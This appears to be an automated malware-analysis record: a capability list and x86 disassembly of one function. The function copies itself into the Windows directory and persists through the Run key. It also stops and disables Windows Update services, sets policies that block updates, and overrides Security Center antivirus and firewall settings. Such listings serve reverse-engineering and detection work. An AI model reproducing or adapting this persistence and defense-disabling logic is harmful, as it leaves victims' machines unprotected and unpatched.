Function at 0x401150
Capabilities:
Check if file exists
Copy file
Create process on windows
Disable system features via registry on windows
Persist via run registry key
Persist via windows service
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004010b0
movzx eax, al
test eax, eax
je 0x4018ff
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x42c], 1
mov dword [ebp - 4], 4
push 0x104
lea ecx, [ebp - 0x840]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x840]
push edx
push 0x4043c4
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4012bc
push 0x104
lea edx, [ebp - 0x638]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x638]
push eax
push str._s_sysppvrdnvs.exe
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4012bc
push 0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4012bc
lea edx, [ebp - 0x21c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4012af
lea eax, [ebp - 0x428]
push eax
call sub.MSVCR90.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x428]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4012af
push 0
call section..text
add esp, 4
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0xa48]
push edx
push str._programdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.MicrosoftWindows_Defender
lea eax, [ebp - 0xa48]
push eax
call sub.MSVCR90.dll_wcscat
add esp, 8
lea ecx, [ebp - 0xa48]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4016d1
push 1
call section..text
add esp, 4
mov dword [ebp - 0xa4c], 0
jmp 0x40132c
mov edx, dword [ebp - 0xa4c]
add edx, 1
mov dword [ebp - 0xa4c], edx
cmp dword [ebp - 0xa4c], 0x98
jae 0x40135e
push 0
push 0
mov eax, dword [ebp - 0xa4c]
mov ecx, dword [eax*4 + section..data]
push ecx
push 0x404500
push 0x404508
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40131d
push 0
push 0
push str._c_sc_stop_UsoSvc__sc_stop_WaaSMedicSvc__sc_stop_wuauserv__sc_stop_DoSvc__sc_stop_BITS__wait
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea edx, [ebp - 0x21c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4013cf
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x404644
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x21c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x401425
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push 0x4046b0
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x21c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x40147b
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push 0x404718
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x21c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4014d1
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x404778
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x21c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x401527
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x21c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x401580
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push 0x40484c
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x21c]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x401617
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push str.NoAutoUpdate
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x214]
push edx
push 4
push 0
push str.AlwaysAutoUpdate
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push str.OverrideNotice
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x21c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsUpdateOrchestrator
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4016d1
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push str.DisableWindowsUpdate
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x214]
push ecx
push 4
push 0
push str.AutoUpdateOptions
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x214]
push eax
push 4
push 0
push str.EnableWindowsUpdate
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push str.PreventDownload
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x21c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4017e8
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push 0x404a98
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push 0x404abc
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push 0x404ae8
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push 0x404b10
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push 0x404b34
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push 0x404b64
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push 0x404b84
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x21c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4018ff
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x42c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x42c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x42c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10